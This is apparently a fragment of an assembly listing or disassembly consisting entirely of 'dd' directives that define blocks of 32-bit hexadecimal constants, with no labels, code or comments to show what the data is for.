		dd 0FE869E50h, 90A4855Fh, 246E679Fh, 42079029h,	858FF426h
		dd 83FAC569h, 0A7036557h, 1CEB4343h, 35797C0Ch,	0E5543899h
		dd 56C51C13h, 2907145Dh, 89B521F2h, 312A7661h, 24991076h
		dd 695057A8h, 5B958184h, 0ECB26DF4h, 0A151E3D3h, 1253BB21h
		dd 7E412C8Eh, 6C7534D6h, 3A861983h, 6278E678h, 7010D224h
		dd 408C45ABh, 99209D75h, 3126C640h, 0C525A0EFh,	0AB75CCF4h
		dd 362F6389h, 81615FA9h, 4B282020h, 0C3D74C6Ch,	316AE84Dh
		dd 35D76146h, 0B0606E4Dh, 70482050h, 3030DF2Bh,	691C5F3Bh
		dd 2F53BCF0h, 109A3530h, 356D98A4h, 11A5D582h, 0CF2566BDh
		dd 0F601E12Dh, 0A8E8B068h, 85559733h, 0E350C80Ch, 0CEA06DB2h
		dd 2E1DB7CDh, 0DA5569EEh, 9A29CBC7h, 0C4A5B140h, 0B159C096h
		dd 82E48C95h, 0D2C0C5Dh, 51A7E295h, 6DBD43ABh, 0E2DEF448h
		dd 7F8191BDh, 39C5FDB5h, 77710C9Bh, 9F7F6382h, 0E53D8F72h
		dd 66535F8Dh, 0B058F67Dh, 94F6D8BFh, 0D66CAEE9h, 0FC9D400Ah
		dd 0A08AC741h, 64F90CDFh, 0D327BD60h, 0A867A345h, 8B838582h
		dd 21E4EEDFh, 5FD622Dh,	5BA9398h, 1150524Dh, 419F868Ch
		dd 48684EC5h, 56E814E6h, 8D24EC65h, 5A2CFC7Eh, 527138B7h
		dd 5CC0810Fh, 0DCC2411Dh, 82BD1DF7h, 0A05A6102h, 0DE34FB1h
		dd 4CF642BDh, 79EAE4F0h, 0A152DFC2h, 62B57AA3h,	0BD54FD7Eh
		dd 8EAEF94Bh, 0F3EE25C8h, 2266499Dh, 0ADCEFC22h, 0C98C5307h
		dd 3653AA83h, 67E645C3h, 0ECE92AD2h, 0E42DF4EFh, 91ABDF7h
		dd 75F4A687h, 0B3A37B45h, 80D4F9E2h, 0B736DDC7h, 4E81B4Bh
		dd 0FD435F6h, 60737424h, 168C345Eh, 429B6CCBh, 83C878h
		dd 85FAE9BEh, 6EFAA543h
		dd 81090802h, 0AFE6DD45h, 4FF4AC10h, 0E254D349h, 0E3531DACh
		dd 9CE565FDh, 0B836C565h, 1E508576h, 0A62052D1h, 4AC6F54Bh
		dd 2133731Dh, 0A350CBCAh, 26D8A74Eh, 49B1BBE4h,	6FC5A65Dh
		dd 9047427Ch, 5A1AB820h, 0E9ED5A0Bh, 0A3296330h, 7877955Bh
		dd 5E5C3F6Dh, 0F17FDEEDh, 549B16Ah, 82110D07h, 5EF61730h
		dd 3FCEE8EBh, 8EAAEDA7h, 5085A6FBh, 800849F9h, 0E8D4A499h
		dd 4D07D2B9h, 0B1202287h, 0FEA1057Ch, 556198A8h, 4C515284h
		dd 3EC0FF18h, 65E21453h, 0AB36F8FFh, 39EF6866h,	6C23E6BCh
		dd 9D5003E3h, 2ADCF575h, 7A6FE35Fh, 7083EAF9h, 0AC82A821h
		dd 74630555h, 0AC45F311h, 818482CDh, 0E9453D38h, 0E4B8FF68h
		dd 0FCD88EC3h, 79C8C0Bh, 0C6090932h, 38EB2D04h,	42EC716Ch
		dd 0E91D4AB6h, 105E366h, 0F1E43A8h, 5DCBBB05h, 8AA468E4h
		dd 0D878954Fh, 1D9BA01h, 4D81FC59h, 8659FCACh, 0FEE0639Dh
		dd 38196DAEh, 0BFABC66Eh, 0AD3A33D3h, 3F7C2431h, 0D7E1A98Dh
		dd 9233361Ch, 857308BEh, 0AE753DB8h, 0E25884E2h, 0BC4CD72Bh
		dd 9BEF8C37h, 304A33EFh, 9ED4A617h, 6ED350EEh, 0A3168B16h
		dd 287B5FC9h, 67D38390h, 3CF0717Fh, 2C5A788h, 0A15C8A42h
		dd 0ED1C6AF2h, 7287E59Fh, 68A44A4Bh, 9E334C30h,	74C13658h
		dd 4CF62EA9h, 0CAD30733h, 1352C90Eh, 0B9D36774h, 36109405h
		dd 5693E69Fh, 6D47BC0Bh, 0C293AC73h, 2A0DA328h,	0EEEF762Bh
		dd 778AA0Fh, 6C08E220h,	368A30F9h, 0D28EC2B9h, 56603EC9h
		dd 56DD8B01h, 0D4D1A80Fh, 5A98AEDCh, 2D01A7Ch, 0E611468Ch
		dd 9AE00851h, 0C9A24F64h, 213E0D7Fh, 247E6A56h,	2165FFAEh
		dd 4700A83Bh, 516AF6DEh, 0A25C94F9h, 7A196CB9h,	320BBEDAh
		dd 2191BC49h, 6939819Dh, 0F7D30C9Eh, 7986F677h,	0B3FCE1Bh
		dd 4FA858Ah, 0BA907B99h, 54A60972h, 1D93B95Eh, 0B93F9931h
		dd 0AA77F380h, 0D1B6B74Dh, 0A33876EEh, 44BDFEF2h, 328C6A4Ch
		dd 0B4929DEBh, 532389F3h, 0E5632334h, 7FEB6ECDh, 0D788F98Eh
		dd 93D99877h, 0DD1E7AAh, 577D69AEh, 10E59942h, 0EC740A2Fh
		dd 0F5AD0833h, 7E790905h, 0BA8D68FCh, 0E97B6BB3h, 6253ACBEh
		dd 7F952FBFh, 0E46300DCh, 0DAB69280h, 0D6CB88BEh, 7342CAC4h
		dd 0C77B03C9h, 0E702D7EEh, 389A6A95h, 30E8A33Fh, 69C9BC3h
		dd 0C9619EB0h, 0DC723CEDh, 0A68DA3A0h, 63711BA1h, 847C5A80h
		dd 0FAF1A728h, 0F3D8A766h, 0BB3CCB88h, 0BE48AF18h, 93B9A8E4h
		dd 2CDCCC1Ah, 6F631255h, 0AB3E5A5h, 0E6FC2B86h,	0DCC5F349h
		dd 0D4479E39h, 79D6B7FAh, 55626040h, 0FF72B321h, 3785FE46h
		dd 8E2E025Bh, 40DB9B55h, 0C509201Ah, 5593038Bh,	0F75648C6h
		dd 0D3EAD19Fh, 0C449F5BAh, 0A6E4B354h, 0DAA6F612h, 0B96E48B3h
		dd 9EB20444h, 0F278DB05h, 0A3FC1ACDh, 0A8EA0140h, 7AA06E66h
		dd 788FE25Eh, 0E9BE3E52h, 9075889Eh, 0B5D0655Dh, 52D24F45h
		dd 9811DE5Ah, 8599F496h, 8EDB6108h, 91406F7h, 4BB67788h
		dd 0A3B12A8Ch, 1C20E634h, 0C77A9446h, 8077BEFDh, 0C7F9F47h
		dd 7E7EB243h, 0A28B58BBh, 0FDFEC4B4h, 0A7B71200h, 2D6F3071h
		dd 24024573h, 38028ADAh, 6AD6D33Fh, 0ECFE11D7h,	5A02301Fh
		dd 687D6A26h, 94A6CE09h, 51826AF2h, 97B070h, 9B2A4B6h
		dd 0B2374164h, 7CE4EFCFh, 0A3532FA5h, 0E5C26D87h, 0B677635Bh
		dd 458BD0EAh, 8B1E385Dh, 0B4273728h, 360F7FC1h,	0FF2606F4h
		dd 4B3872A7h, 25B6E6CFh, 1DC40C3h, 45187DF4h, 0E0ADDD57h
		dd 0AA720417h, 0F676751h, 0A83270B8h, 666F2C98h, 652D7004h
		dd 806A75A3h, 0F371B91Dh, 0F781F3EFh, 4686E6E8h, 0FA8FF77Ah
		dd 177DB407h, 0BBA7FB00h, 9BC99EABh, 2A32BC7Bh,	564E86A4h
		dd 7079E8C3h, 0C1851CB6h, 5846ABC9h, 938390D0h,	92DDAA41h
		dd 780F2B58h, 204AD712h, 0BDBBE8A6h, 428004D7h,	0F35288E2h
		dd 0E9329CE1h, 0C04DEC3Ch, 11ED7760h, 0FCB7B2F7h, 0B87446F1h
		dd 0E837A5D3h, 0B5428537h, 693F7B49h, 0BBDAB65Ah, 0B81BA43Eh
		dd 0B2E9F74Dh, 0C90BF22Eh, 0C112902Bh, 0AB6EBB79h, 9C751AD7h
		dd 85503C5Eh, 0E32018F4h, 7506E0A8h, 93A065C7h,	9A192779h
		dd 365BA7F1h, 0A387977Dh, 9A135FD6h, 63B338B1h,	2BA0139h
		dd 61D1D9EBh, 0AA9280F1h, 78568584h, 0B89B5C68h, 9ACCF0CCh
		dd 0E004AD1Ch, 0B8648567h, 84275138h, 147E3E6Ah, 0D0D50D98h
		dd 67B8CC51h, 939D6C57h, 43EA4132h, 0FA7293ABh,	4649EDF8h
		dd 6B5E5B49h, 0CB61C826h, 309FAE1h, 25C31A21h, 6A42EB41h
		dd 9415DC9Eh, 93AB2F12h, 0CED5BCBBh, 0EDEB1C42h, 0C2D98A07h
		dd 0B88C3575h, 0CDC50A6Ah, 0ABAF0279h, 0DC999570h, 4BB81424h
		dd 9DFFC192h, 2CCBC51Eh, 0B024CC04h, 0E6AAE9B4h, 77C99751h
		dd 2B1108CDh, 0E29DB050h, 33690DDEh, 0CE324AD2h, 520BCC23h
		dd 0CFC361Eh, 0E63D4CCEh, 7B66B803h, 18CE344Ch,	84CDC78Ah
		dd 0B751E8FFh, 0BD09C67Ch, 595E97CFh, 94BF2E33h, 5447D1F7h
		dd 9F3B758Bh, 0A60CFCA3h, 0E8512CECh, 0ECB9E03Dh, 4E17FA8h
		dd 0C32213D4h, 8AC47FA1h, 6F04AB5Bh, 725521A5h,	79DE4685h
		dd 90DA9531h, 2EC2282Fh, 917E7E72h, 0B97B2985h,	0A768FC4Eh
		dd 5FED1347h, 8301F7FBh, 1A2DBCB7h, 0BB0F136h, 0CC58D51Dh
		dd 7A292A1Ah, 0B09CF37Bh, 2ED0A425h, 7D38C1AEh,	3D971479h
		dd 0DF6E1502h, 30C0FB9Fh, 0E4D0CC72h, 0DDB80D80h, 47B5876Dh
		dd 781AE319h, 0ADFEF770h, 0EC069EA9h, 6CD2D55Bh, 0CC8B65h
		dd 0E79D3659h, 2837630Fh, 884F29FDh, 99B7E869h,	0ED460128h
		dd 7AF504B6h, 5C6EB752h, 31BFA43Ch, 0B9E0CF33h,	8B05A513h
		dd 4B9D7F9h, 6FFF0EBh, 0FB6CCF1Ch, 496BC7FFh, 494D4C7Ch
		dd 8E660D3Ch, 0B6B27B5Fh, 0FC5E7A79h, 0E15DBFBh, 24BD981Bh
		dd 23773E9Ah, 7738A1D4h, 731DEE2Eh, 0C1D68FAAh,	568B5BD8h
		dd 5F98739Bh, 1BBAA56Ah, 687935C4h, 0B861AAB2h,	64EB994Bh
		dd 2F503B16h, 0EDF8CF74h, 0A0C7471Ch, 9D1FBCABh, 0E86C6F2Dh
		dd 144D30D0h, 654499A9h, 0B31AE08Dh, 0E1995B27h, 8BA9D764h
		dd 735BFFE3h, 7F178447h, 0DCCE1119h, 83BE4530h,	0B1D092E8h
		dd 637D5D2Dh, 244E68EBh, 71521CE6h, 0E09A2A6Ah,	4CED32E7h
		dd 7F794943h, 4F0317F4h, 6ED83F4h, 406ECC26h, 0B34E537Ah
		dd 68D42EE3h, 0CB773821h, 0FA4B5B8Bh, 5D8B127Ah, 0CCB7F50h
		dd 1D372915h, 0FF3B98D5h, 0A14BBFC9h, 200A384Eh, 0BB745B91h
		dd 1707D4C5h, 6016801h,	9EA23EACh, 37F090D0h, 8FC5E491h
		dd 28EDEDB5h, 8A8DD62Fh, 0FA707F24h, 0F1ACB4A2h, 6451173Ch
		dd 0EF3A2A81h, 0FAD4B2C2h, 0BB72767Ah, 4642D7CDh, 9FE6849Fh
		dd 8DEF2C57h, 0D883B8E3h, 0C7608FECh, 71183370h, 0D4A73050h
		dd 0F789D8D7h, 2F0DD708h, 52DF687Ah, 0A1048C38h, 0C3F4FE7Fh
		dd 981E37E8h, 74715179h, 0DBB13C96h, 9C142FE1h,	29D2400h
		dd 3E240FF8h, 0AEE72F10h, 9A9B838Eh, 0AA6EAD75h, 70CBC722h
		dd 39BB6BD8h, 43343AB9h, 5B3A5DC1h, 0E2DD2DC8h,	0CCA3C044h
		dd 1D34E26Ch, 2E408CA2h, 0BD3B54D3h, 1D021EC3h,	0E0D86A9Ch
		dd 7D973A9h, 0A17C4EE5h, 0BB9ECC08h, 6FAEE4E3h,	1A6561FFh
		dd 0DA8E20B4h, 0CF47A87Bh, 1B47B0D4h, 3FB77F45h, 20AEDFB0h
		dd 81D68DCEh, 2373C55Dh, 0E20F70DCh, 13E5C223h,	0F9DE222Bh
		dd 9BFD1494h, 9DD3C9FFh, 81AD40DEh, 0DD2D4D02h,	5644FAF0h
		dd 67DC4B3Ah, 0B71DAFF3h, 182550F5h, 0EFF71151h, 0CFD37B8Ah
		dd 985D2EB3h, 0A3AF877Bh
		dd 52DA4C11h, 86ED9442h, 833F33BEh, 0C787396Bh,	0FBFF8BE7h
		dd 0B2069D32h, 4FA751CAh, 0F598B533h, 24344791h, 0A1C808FBh
		dd 4198EF1Eh, 4100742Dh, 1234854Dh, 0C74B47B7h,	9871C8F4h
		dd 9EF62671h, 903C338Fh, 2B86A7C6h, 1C34047Eh, 15A21CDEh
		dd 0F797C5F7h, 4C1EADBCh, 0BC9A2F6Fh, 83F52126h, 0CC19F543h
		dd 0E9AD2AA1h, 21494DDBh, 0F9A71199h, 0B956E3A4h, 547FBBA3h
		dd 46A22257h, 0D060C458h, 53115416h, 0F077744Dh, 546432D9h
		dd 0C1FA2C82h, 0F96C1477h, 0C13D8AE5h, 61C96765h, 424A925Bh
		dd 0CC54CCAAh, 0C8744E5Fh, 694B087Ah, 760F153Dh, 0AD605E33h
		dd 0DACAD4FDh, 5C9FAB29h, 54288048h, 8DCBB755h,	5670728Dh
		dd 84803486h, 4EAFEBEAh, 4256EFCCh, 4226688Ch, 0EECDDC06h
		dd 0AC5077C4h, 0E7823F9Ch, 0D0855DFh, 61939862h, 0CCFD36B8h
		dd 0FE992603h, 0F2B45266h, 9050EAFDh, 0BB286964h, 70617BA6h
		dd 203D9057h, 53740BC9h, 87284507h, 0A4622CB4h,	0F4CA9B4Ah
		dd 0C4E110FBh, 9BE6F7FAh, 0B70A5C0Eh, 5DC1B6B4h, 0B324E48Ch
		dd 1F1ED526h, 7608B40Bh, 7A274BEDh, 0EC8D8CA4h,	65A60E46h
		dd 574F0687h, 1E82305Fh, 0AC6B888Bh, 4D57AB61h,	15860878h
		dd 0AD0C9F55h, 977A9BD1h, 4CC2E82Ah, 0D7F33EA4h, 0EBC2CE9Dh
		dd 0CBE1FDEBh, 0DF45440h, 173C0C99h, 0F4A6978Eh, 0DEF012E3h
		dd 9462DD21h, 8FAC8365h, 5ED3A88Dh, 41D2092Bh, 287E9C3Ch
		dd 248C530Fh, 0E127A0EBh, 0EB9FACD1h, 4B99D906h, 66390B9Eh
		dd 0D1E2501Fh, 8681B37Bh, 66812FF4h, 0DCB5C52Bh, 0DDB925B5h
		dd 0A1499C8Ch, 7E8CB23Ah, 0E02E2C8Eh, 46FC15DCh, 0D2C548DFh
		dd 0D3F84A7Eh, 4CEB7340h, 0DA58F20Eh, 0FF1931EBh, 3DDF0006h
		dd 0AB654ACEh, 2709DA79h, 3182F24Fh, 4B56044Eh,	22775E63h
		dd 88F59832h, 0C84EF1B3h, 922DBE97h, 0CD23CBB0h, 0E44C7F35h
		dd 268830ABh, 448C24BCh, 514AB8F9h, 0EDD79992h,	3F255B38h
		dd 0D3223578h, 0CEF17727h, 0A30EE515h, 0DC95E89Fh, 9B9BECFh
		dd 79FBFA64h, 0C5BF056Ch, 0C4BC4B46h, 0E7BA4F35h, 0D29F1472h
		dd 3A98185Dh, 2ECCA196h, 0FEEA5B7h, 9FF029F8h, 0FAC05630h
		dd 2E532580h, 0A8A3FD1Ah, 0F966F29Eh, 63F98F0Eh, 0CC48B5A8h
		dd 3B2BA277h, 7DFB9A80h, 0A6DE9AEEh, 9CC5B62Fh,	0F29D81A5h
		dd 76137006h, 532980F4h, 0CEDD2C09h, 1ADFA97Eh,	9D4F57C0h
		dd 0EC5BF604h, 0A0AF6E12h, 6937294Ah, 42CD5F9Ah, 0E988A092h
		dd 7AF1C251h, 80DEBD35h, 0CEDE9026h, 6BB3AFF6h,	14A0FFC6h
		dd 50D9FE2h, 0DC779CBCh, 5D948A8h, 48644F6h, 3E85B3C1h
		dd 3C074AF2h, 0E4C6F9EAh, 3D980641h, 5F85C367h,	2FF5DB0Ah
		dd 7AFE345Ch, 652EA898h, 0A7F51E3h, 2DF02685h, 552E8EA6h
		dd 7328EEDBh, 9A82D291h, 7A05D78Bh, 0ECDED681h,	0C45DE0AAh
		dd 65A8D8F6h, 0B1976E93h, 0F8233A11h, 26CDDF50h, 74000EDCh
		dd 0E2B174F8h, 284789B7h, 0ED61A3BBh, 72E43F7h,	7D6CCB79h
		dd 102E307Ch, 85DE0E9Bh, 44B1E216h, 9BBEE841h, 0E04A126Ch
		dd 0FEDB9A61h, 0F937B1DDh, 1F404A61h, 0D302F009h, 0B0F6C45h
		dd 0D9415405h, 0F973C830h, 0C35F05A6h, 1EFBFBEh, 0F0744ED3h
		dd 72051329h, 63F835AFh, 21C2C74Fh, 887938DEh, 0C8581506h
		dd 9028E4B9h, 3DBA4F7Bh, 48ED4FDEh, 6A8EC586h, 94B24F71h
		dd 0C775F173h, 423D02C5h, 281B7A28h, 6BAE1C00h,	0B4A65691h
		dd 2DDB7C07h, 78388E6Ah, 14AFA65Ch, 7E7448h, 9A1D13E0h
		dd 9C120188h, 23965873h, 77F4B2D5h, 0CB7D8241h,	4E766FC8h
		dd 7074A423h, 9CAB1C5Eh, 2CE2B1FBh, 0AEF4CEF8h,	2ED1DD45h
		dd 254E20FBh, 6974B3h, 0EB386D8Bh, 0BAD5FC2Ch, 495AB758h
		dd 0DDC34918h, 0BE72C10Ch, 462DF5B1h, 191685A2h, 0E23B0FFFh
		dd 3D040E08h, 0D2A924Ah, 0F3905827h, 0EC127E7Ah, 3BE1D502h
		dd 0AB9560AAh, 5B017C6Dh, 5FDA3200h, 51C22731h,	46F91CA4h
		dd 0F03D673Dh, 0F3BF74AAh, 3778173Fh, 88F05B2Dh, 2682AAC8h
		dd 8F9332BAh, 86CB8A91h, 4133D2A0h, 7E6FEF35h, 4F16D03Bh
		dd 0C3FBD3B3h, 23D7B795h, 687C487Ch, 0EE57A9h, 0A37B95h
		dd 60EDCFA1h, 9904EA1Ch, 9B2FF034h, 0CF01D000h,	30D81BAEh
		dd 2E84EB7Ah, 0DD188327h, 33204E2Bh, 0F45AF331h, 0D6FC5E47h
		dd 571EFE92h, 0F7D1681Ah, 637C87EEh, 0FDBFC6A8h, 0CD494F6Bh
		dd 5D4655A9h, 7E25A461h, 0A28E6F9Eh, 0FD8AF419h, 7B8EE621h
		dd 27BB8B93h, 7950B08Ch, 287D0C0Ah, 49CC6FCBh, 4B3822A9h
		dd 0A28A8E3Fh, 5F73DAC1h, 83921FFCh, 84A834B4h,	2CB60921h
		dd 0F4A3E08Bh, 4B1D90F0h, 2C011C9Eh, 1BABE5A2h,	609D5CD5h
		dd 8B9E62E6h, 4660BB07h, 65716DBCh, 0F4303E30h,	4859D804h
		dd 0C5EAF780h, 5E2FEC33h, 0D93FD205h, 10F2ABFCh, 9A947E10h
		dd 8A0C7ECCh, 0AA12439Ah, 56F452D2h, 32146561h,	0BD8CEFF4h
		dd 9DA3F0CDh, 36D1CE0Ch, 10DCA0FAh, 0C2E3F43h, 1EEBF4D1h
		dd 43E0C168h, 0A9C4D20Eh, 0F5305287h, 0D8269179h, 0C3688C11h
		dd 0AAD81325h, 3F72FEE1h, 0B34FC304h, 0F48AE280h, 6806BC44h
		dd 6CEAF437h, 4515F179h, 0C01AB001h, 1DBCD184h,	0CCAFA5F4h
		dd 0C403048h, 1CAF44EDh, 0C7003546h, 0FBD25C33h, 0CDBB423Ah
		dd 6A915BBBh, 6AAD45F5h, 665A2BB4h, 0CBCAD540h,	2EAE7803h
		dd 0C0144AFh, 128C6E82h, 0B6765878h, 0A51CE51Dh, 12C4600Bh
		dd 1AEBBECDh, 76EFB2E4h, 54E8FA22h, 8D1391D9h, 2BF3400Ch
		dd 12B52C06h, 7C2886F7h, 1FE65657h, 8E74B103h, 0E4D86908h
		dd 7EC9859Ah, 0DDFA021Eh, 0D4FFFC3h, 5032A692h,	130D089Ch
		dd 0ABA1D566h, 5EBA5084h, 33D7BE8Eh, 23F46D65h,	5742A997h
		dd 49FA990Ch, 0A1A15DA5h, 0E59F2262h, 6513BB18h, 0EB395158h
		dd 88F9ABA6h, 32D07C1Dh, 17E14E5Bh, 45F76610h, 1784D50Ah
		dd 2723EFE8h, 3F2B5D59h, 0BD8AE1Dh, 0B9F6070Dh,	0A22EDCDDh
		dd 64A3620Fh, 0B5E79711h, 0E56806A5h, 0B7DEE403h, 261C8C32h
		dd 0C2B738B6h, 955194B6h, 0A098EF4Eh, 24738DFCh, 0D627FEE3h
		dd 0BAA35216h, 57D4EE79h, 8542576Eh, 0F41BA186h, 97AA3C6Ah
		dd 0E5BED23Ch, 0E860D095h, 52D33FF0h, 88CEA7E3h, 0B5AAE40h
		dd 2E57053Eh, 1A0EF3FFh, 725AB53Eh, 8ACD8E2Dh, 295FE0D7h
		dd 6074FC5Ch, 6792C099h, 6A3137ECh, 68255AC0h, 8A6B81DFh
		dd 0F75B823Dh, 0BB779F66h, 0CF0131DCh, 70165E12h, 911B1988h
		dd 963088A5h, 0B61D1904h, 9EAED5A0h, 8483B250h,	1482161Ah
		dd 4FFD66A1h, 5158E203h, 6A815567h, 65120F53h, 0E971381Eh
		dd 8B3689AAh, 8CB117F0h, 208B47F9h, 0CC5B1BE6h,	6F2FDCB6h
		dd 0D29ECD4Bh, 0E939FB0Fh, 5B847E28h, 0F0944724h, 0D25317C0h
		dd 53718D35h, 297ECEACh, 927572ECh, 8E8CE935h, 6856ECFFh
		dd 0C2C7817Dh, 7EEBC406h, 98019E45h, 2F19F910h,	84E50E11h
		dd 0CDEBEA80h, 23CD3D55h, 69AFC62h, 8718D52Dh, 0B695E833h
		dd 0B75460B6h, 0CC177D67h, 8B431191h, 90EA4678h, 0AFE7C6CAh
		dd 736EFFB3h, 0A0797BF0h, 910520BCh, 0B94FB8DFh, 0A90B2570h
		dd 0D80AC0A0h, 4D5B5790h, 1616FC94h, 26F3BAC7h,	7E210CB6h
		dd 8CC9E15h, 0E7E62A16h, 0A68F18A9h, 929E9A70h,	0AF0F6C54h
		dd 13A40835h, 4948FDADh, 55D7C808h, 0B7807338h,	0D9BC0C24h
		dd 0F4286DBCh, 3A975CC5h, 300D603Ah, 0EFE8EDC3h, 6D748598h
		dd 9FB41A4Eh, 0B3F17D1Ch, 9DEF2F69h, 9D4C08CEh,	0A5393250h
		dd 731EA5E4h, 4F79A950h
		dd 0E8483606h, 6D62A83Bh, 0D85FC643h, 0F453FFF8h, 0FE8AB9F7h
		dd 703329F7h, 66BF7D67h, 0B394982h, 0B980542Ah,	83E10775h
		dd 0F1E6567h, 0D2BBE092h, 0C798CE2h, 0C1936F99h, 3282B39Ah
		dd 6328EDACh, 41815E0Ah, 104BD772h, 0CEAFEB21h,	0B390DB2Dh
		dd 3D68251Ch, 84B52E5Ch, 7D00026h, 0AC3229D5h, 8BBC467h
		dd 4EC69B4Bh, 59338BCDh, 523E37Dh, 317AD638h, 2CC57010h
		dd 416BAFEh, 0A9F1DB24h, 0D9C5609Ah, 365687C9h,	0DD9B07D1h
		dd 23965DDFh, 927E85A6h, 9C73DF29h, 0E6C7DFF8h,	330FF664h
		dd 18C7425h, 38F86A38h,	4435C6CEh, 3B661948h, 7FE72F59h
		dd 1DF574AAh, 0AD6BB961h, 0DA187294h, 46915913h, 0BA2C60E7h
		dd 160977BFh, 5CA8CDB5h, 0D3D40C7Eh, 798B3CAh, 2F9E2B5h
		dd 0C98ACC1Eh, 3D8995E5h, 4C9E223Ch, 393509B4h,	15FBD666h
		dd 0A769744h, 3CD0E5A0h, 0E084F3A8h, 434214Eh, 0E5C038FEh
		dd 0E7F43A13h, 9463D107h, 17388E0Ch, 5B33F3C0h,	0AEFF1C72h
		dd 4A4762C7h, 0B14E36C4h, 0C82FA1C1h, 39737C5Eh, 734CE8B8h
		dd 0FE9882A9h, 2D5DD6h,	6E311E24h, 4463769Eh, 0D7B0E945h
		dd 0F7F5B0EAh, 0A7A138DBh, 3E3698D9h, 0B0C05B70h, 23C4A971h
		dd 30179397h, 46CD2A90h, 5950D6D5h, 9BF0BF5Dh, 0B03B4837h
		dd 0C1FA28C7h, 40629B2Fh, 0B4B8E77Ch, 0F4491057h, 7102E0D6h
		dd 2938B5D8h, 0DD5FA0A5h, 0C5FA732Fh, 54E0B031h, 6067780Eh
		dd 0CF4E9A49h, 36D52FADh, 0F8F8D244h, 3DBF6FCEh, 0BEFFB59Bh
		dd 0AEAEE046h, 0EAEF5B41h, 605B62C6h, 0F8A67AD7h, 2D2E3822h
		dd 470818E7h, 4B46DF9h,	0DBE3DE8Fh, 3DE1D169h, 25208587h
		dd 3D1D58B3h, 0A73850B4h, 0BFB1E516h, 705058C9h, 7651E0BDh
		dd 0DCCC2B2Ah, 0E7236682h, 50BFD789h, 0D4C31EFFh, 854C5A2Fh
		dd 3FAEA127h, 0C118EA95h, 4CA37245h, 0CE5A2F49h, 12026AFh
		dd 0BF233797h, 1B291744h, 0C415AE66h, 1DA62FBAh, 8D217D04h
		dd 15EDC5F1h, 78E87B9Bh, 604B010Bh, 0EE4FF601h,	9123A84Dh
		dd 8CF8A1B7h, 0DE89F7C9h, 87F67F1h, 1E2F819Ah, 0C550F89Ah
		dd 9B9485E4h, 2CC08E33h, 0AAC548B7h, 3C8F1B96h,	6355BB34h
		dd 0EC561B68h, 1277FD47h, 1FC6EA94h, 8A399AA3h,	0EFFF5CD4h
		dd 0E0BD12CBh, 0DB3015AAh, 0DAB2F393h, 4D975547h, 4001124Ch
		dd 346AB33Fh, 0BB26F044h, 38193A54h, 0C724552Dh, 0CFCA6D2Ch
		dd 0B1A488F5h, 585E7536h, 58AACD8h, 70ED3BE4h, 0EB174405h
		dd 0BFB4AA6Ah, 94BEF2AEh, 94D99921h, 956CC26Ch,	0F075C33Dh
		dd 24614470h, 329B3703h, 4251C30Ah, 9BD8CE6h, 0E5581E40h
		dd 8185A9FDh, 0CFC2548Fh, 1C89BF1Ch, 0CCCBA75Eh, 8CAB061Eh
		dd 0A3CFD88Ah, 0ACF71605h, 0D80EC917h, 231A40D7h, 0E9819B40h
		dd 9388C286h, 2B9F563Dh, 0A4E5E8D7h, 6F88CC51h,	8C48521Bh
		dd 219F2F7h, 55D5055Dh,	99BDB64Bh, 613372F9h, 6AED1553h
		dd 0F3493CCh, 0FAB0DE0Bh, 0D91687C2h, 9A8040FBh, 0F5D06B48h
		dd 0AE69BC96h, 928525E9h, 0A6DE33B2h, 1A5791D6h, 0D707480Eh
		dd 2B804816h, 0AFBC88A9h, 93C8E3D7h, 508901A2h,	0E8F846FCh
		dd 0C8527B6Dh, 0C685ABB9h, 9376EA22h, 0C6CAB208h, 740DF00Fh
		dd 0FC62D798h, 0A05D2823h, 0D239A640h, 6AA6F338h, 0D4D63EA0h
		dd 5EEF4BC0h, 48B776Dh,	65A2E302h, 83BF6E5Dh, 4A4A29FBh
		dd 7D682A1Ch, 5078B1A6h, 4A87000Bh, 0B3EAFE69h,	1B797D3h
		dd 31C505E3h, 0F1BB3ED8h, 7A9854FFh, 0A2494155h, 0C984853Dh
		dd 421DB37Fh, 0CF860751h, 0E400F5E8h, 3D3CEDA3h, 8B3E01B5h
		dd 4F2F7586h, 236546B5h, 0C0344C49h, 0D788FF21h, 0E4031063h
		dd 97F59119h, 0FBF23F04h, 6EDD5401h, 0C9C22D0h,	5A331C44h
		dd 3BAF5F70h, 0E45992Dh, 0B6B64A9Eh, 0EF4106DCh, 7ADCA78Bh
		dd 8B713711h, 2E6CF7B8h, 9D59AB16h, 0F3DFE016h,	82341EB1h
		dd 5792D5ADh, 9924D434h, 0AD676569h, 69D127C3h,	9AB46166h
		dd 5CA9FDC8h, 0C2375F0Bh, 0AB34808Bh, 1B17B4FCh, 0A2C32142h
		dd 4AFC3235h, 298DF813h, 651CE2B1h, 72230694h, 8B276135h
		dd 122460B8h, 0AE4ADD7h, 60DBA9EDh, 92EFC9F2h, 0BB5052D6h
		dd 84366FC8h, 0F3E6B7F9h, 52B14B47h, 73CAA67Eh,	0E47AA439h
		dd 9D6DD16Fh, 0B06AF91h, 1CC1A9D2h, 9882EDB5h, 576BA4F8h
		dd 29A64A31h, 0F79DD157h, 0B2EC757Bh, 70F92552h, 7591EF1Eh
		dd 0A74074B5h, 676DA78Ch, 0EB63F5AAh, 0C468A48Fh, 0A5C274D6h
		dd 5EB2A0A0h, 8A1D4AE6h, 0C9A98DBDh, 0B054938Fh, 47D2697Fh
		dd 14B1B1Ch, 0C71CF51Ch, 911B5498h, 0C773AF58h,	63C0D011h
		dd 0EC7EFB2Eh, 0E4089AFCh, 0EA7E05F2h, 43B4C630h, 0C6534D39h
		dd 4AA52F48h, 7590E361h, 6573A6E1h, 0E1D7ADB8h,	7D9820A6h
		dd 0A90A5750h, 0F1B7F171h, 317D4060h, 693395E8h, 326C167Dh
		dd 83D5FF90h, 0F9DCC19Fh, 0F9FDA4FEh, 9693D5D2h, 0F990D1E8h
		dd 7AB1091Fh, 9A770529h, 0A8E0A051h, 0BC0FC1CEh, 7D5913C3h
		dd 3A4ADF5Bh, 4301A0E0h, 78506BD5h, 7A0B7B71h, 0A161B3D0h
		dd 992E6D5Eh, 6B9C652Eh, 66A0EED9h, 56BF51C7h, 7C260942h
		dd 0E6BE9712h, 1AB0F6B8h, 9A94097Ah, 402DA19Ah,	0B7321EC3h
		dd 0ACB83E47h, 8FA83742h, 0EA573327h, 7BBBA904h, 0B3571B58h
		dd 81A2ED63h, 8FBA955Ah, 0D383B444h, 47199CF8h,	0B0346445h
		dd 0F14AEEA1h, 92A82AB9h, 0D05A0AD3h, 0FFE3BC35h, 724341CEh
		dd 0A58A69CEh, 88C310E3h, 0AAEFADA3h, 82B28894h, 461243B5h
